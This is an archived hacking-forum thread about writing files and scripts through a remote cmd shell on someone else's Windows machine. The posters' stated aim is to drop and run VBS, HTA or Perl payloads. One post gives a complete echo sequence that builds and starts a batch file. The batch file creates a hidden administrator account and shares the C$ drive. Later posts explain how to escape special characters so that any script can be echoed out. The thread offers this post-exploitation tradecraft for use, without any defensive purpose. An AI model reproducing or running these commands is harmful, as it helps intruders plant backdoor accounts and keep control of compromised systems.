|
Full Version: Another Way To Create Files With Cmd Shell
i noticed something , when u record the output to a file , it works with cmd.exe and keeps logging the output if cmd.exe>c:\file.txt is made , so i decided to use that with more command , then if you can get more than a remote shell , one can be used to just more>c:\file.vbs and write the data in the file then close the shell and then u have the txt file, plz tell me if any errors happen during this way , and if there is a command better than more ..thnx , plz if u have any ideas tell me or an suggestions (Note : i made an html page successfully but i failed to create a vbs file and execute it because its used by other process , do u have any idea to close more.com or any other program to do that job?
to be able to run a vbs file for example , the file created must be copied , then run the copy of this file ..
hm..why does the file has be copied??
black
file has to be copied because the more.com process is still not terminated so the created file still runs under a process , so it must be copied , and again in this way, u must be able to bind shell at two different ports , or be able to connect 2 times to the same port
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\ma622.SASHKA-KLEK1O95>cd c:\ C:\>copy con test.txt first line second etc ^Z 1 file(s) copied. *** ^Z=F6 or u can append text to test.txt by: echo blabla >> test.txt
firstly echo command doesnt work with special characters .. second copy con doesnt terminate with f6 when using a remot cmd shell .. thats whats important and tthats the real problem
maybe i didnt read this right but... heres a 100% cmd way to create file...
echo this file >> text.txt echo was made >> text.txt echo through dos >> text.txt and then moreso, lets make a batch file, and start it. echo @echo off >> own3d.bat echo echo own3d.bat derived from pure cmd.exe >> own3d.bat echo net user GovernMent SecuRiTy /add >> own3d.bat echo net localgroup administrators GovernMent /add >> own3d.bat echo net share c$=c:\ >> own3d.bat echo echo. >> own3d.bat echo echo give ownage, now. >> own3d.bat now that the batch is made... start own3d.bat simple. or did i read it wrong :?
alright u can do some dos commands , but u cant write files ..for example a vbs file cant be written also a hta/html file cant be written , also some perl files cant be written , and asp , and many more
yes...
type echo SCRIPTHERE >> script.pl per line of code.. its tedious, but works then just start it
Well i think this has been discussed before, but echo has some limitations. Just try
for example. It won't work. So there is the slight possibility that you might come to a point while making a script with echo where you cannot continue due to this limitations. I am not quite sure, but there might be another way to echo these special chars that cause trouble, depending on the scripting language you use. You might be able to get it to work. I don't quite remember but in HTML you can use &456 something to display special chars.
guys i found a solution , echo ^(unechoable char) > file.txt , so plz mods close this , already two ppl told me that way to echo unechoable chars .. now i can echo what i want from text files ...
for the % char the way with ^ won't work u must double the char like %% to echo it ...just my 2 cents =)
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
||